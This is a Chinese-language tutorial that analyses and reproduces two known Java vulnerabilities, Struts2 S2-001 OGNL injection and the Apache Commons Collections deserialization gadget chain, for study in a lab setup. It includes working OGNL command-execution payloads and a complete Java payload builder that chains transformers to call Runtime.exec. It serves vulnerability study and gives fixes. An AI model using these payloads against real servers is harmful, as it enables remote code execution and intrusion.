Java-Web之s2-001与CommonsCollections
字数 2066 2025-08-15 21:32:05
Java Web安全漏洞分析与复现:S2-001与Commons Collections
目录
Struts2 S2-001漏洞分析
环境配置
所需组件:
- JDK 1.8(推荐版本,高低版本可能不兼容)
- Tomcat(任意版本,本文使用7.0.105)
- IntelliJ IDEA(推荐)
- Struts2漏洞环境(可使用vulhub中的war包)
配置步骤:
-
Tomcat配置:
- 下载对应版本Tomcat
- 启动命令(Mac/Linux):
chmod +x *.sh ./startup.sh - 关闭命令:
./shutdown.sh
-
IDEA配置Tomcat:
- 在Preferences > Application Servers中添加Tomcat
- 选择Tomcat根目录作为Tomcat Home路径
-
Struts2项目部署:
- 将war包放入Tomcat的webapps目录
- 或解压war包后用IDEA打开项目
- 添加项目依赖库(lib目录下的jar包)
漏洞原理
S2-001漏洞是由于Struts2在处理表单验证失败时,会将用户提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到表单数据中。攻击者可以构造恶意的OGNL表达式实现远程代码执行。
关键点:
- 漏洞触发条件:表单验证失败
- 漏洞位置:对用户输入进行OGNL表达式解析
- 影响版本:Struts 2.0.0 - 2.0.8
漏洞分析
关键代码分析:
TextParseUtil.translateVariables方法是漏洞的核心:
public static Object translateVariables(char open, String expression,
ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
Object result = expression;
while (true) {
int start = expression.indexOf(open + "{");
// 查找匹配的闭合括号
int end = findMatchingEnd(expression, start);
if (start != -1 && end != -1) {
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
// 递归解析表达式
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
result = left + o + right;
expression = left + o + right;
} else {
break;
}
}
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
漏洞触发流程:
- 用户提交包含OGNL表达式的表单数据(如
%{1+1}) - 服务器验证失败后,将用户输入通过
translateVariables方法处理 - 方法递归解析OGNL表达式,执行其中的代码
- 解析结果返回给用户,实现代码执行
利用方法
基本POC:
%{1+1} // 返回2
获取系统属性:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
// 返回示例:tomcatBinDir{/Users/user/apache-tomcat-7.0.105/bin}
命令执行:
%{@java.lang.Runtime@getRuntime().exec("calc")}
Apache Commons Collections反序列化漏洞
环境配置
所需环境:
- JDK 1.8u66或更低版本(8u71后修复)
- Apache Commons Collections 3.1-3.2.1
- ysoserial工具(用于生成payload)
配置步骤:
- 从GitHub克隆ysoserial项目
- 使用IDEA打开项目,导入Maven依赖
- 下载源码(右键pom.xml > Download Sources)
漏洞原理
该漏洞利用Apache Commons Collections库中的Transformer链,通过Java反序列化机制实现远程代码执行。攻击者可以构造特殊的序列化数据,当应用反序列化这些数据时,会执行攻击者预设的命令。
关键点:
- 漏洞核心:Transformer接口的链式调用
- 影响组件:使用Apache Commons Collections并存在反序列化入口的应用
- 修复版本:Commons Collections 3.2.2+
漏洞分析
Gadget链分析:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
关键类分析:
- ChainedTransformer:
public Object transform(Object object) {
for (int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
- 实现Transformer链式调用
- 将上一个Transformer的结果作为下一个的输入
- ConstantTransformer:
public Object transform(Object input) {
return iConstant; // 直接返回构造时传入的对象
}
- InvokerTransformer:
public Object transform(Object input) {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
- 通过反射调用任意方法
- 是实现命令执行的关键
- LazyMap:
public Object get(Object key) {
if (!map.containsKey(key)) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
- 在get方法中调用Transformer.transform()
- 将前面的Transformer链连接起来
- AnnotationInvocationHandler:
private void readObject(ObjectInputStream in) {
// 反序列化时触发
for (Map.Entry<String, Object> entry : memberValues.entrySet()) {
// 会调用entrySet()进而触发代理的invoke方法
}
}
利用方法
完整Payload构造:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
// 通过反射创建AnnotationInvocationHandler实例
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Override.class, lazyMap);
// 创建代理Map
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[]{Map.class},
handler
);
// 再次包装
handler = (InvocationHandler) construct.newInstance(Override.class, proxyMap);
// 序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();
// 反序列化触发漏洞
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
简化版反射调用(非序列化):
Class clazz = Class.forName("java.lang.Runtime");
Constructor c = clazz.getDeclaredConstructor();
c.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(c.newInstance(), "calc");
总结与参考
关键点总结
-
S2-001:
- OGNL表达式递归解析导致代码执行
- 需要表单验证失败场景
- 修复方法:升级Struts2版本
-
Commons Collections:
- Transformer链的反射调用
- 反序列化入口触发
- 修复方法:升级Commons Collections版本或使用安全版本
参考资源
-
Struts2漏洞分析:
- http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities.html
-
Java反序列化:
- P神Java安全漫谈系列
- https://xz.aliyun.com/t/7915
-
实验环境:
- Java反序列漏洞实验:https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001
-
工具:
- ysoserial:https://github.com/frohoff/ysoserial
- vulhub:https://github.com/vulhub/vulhub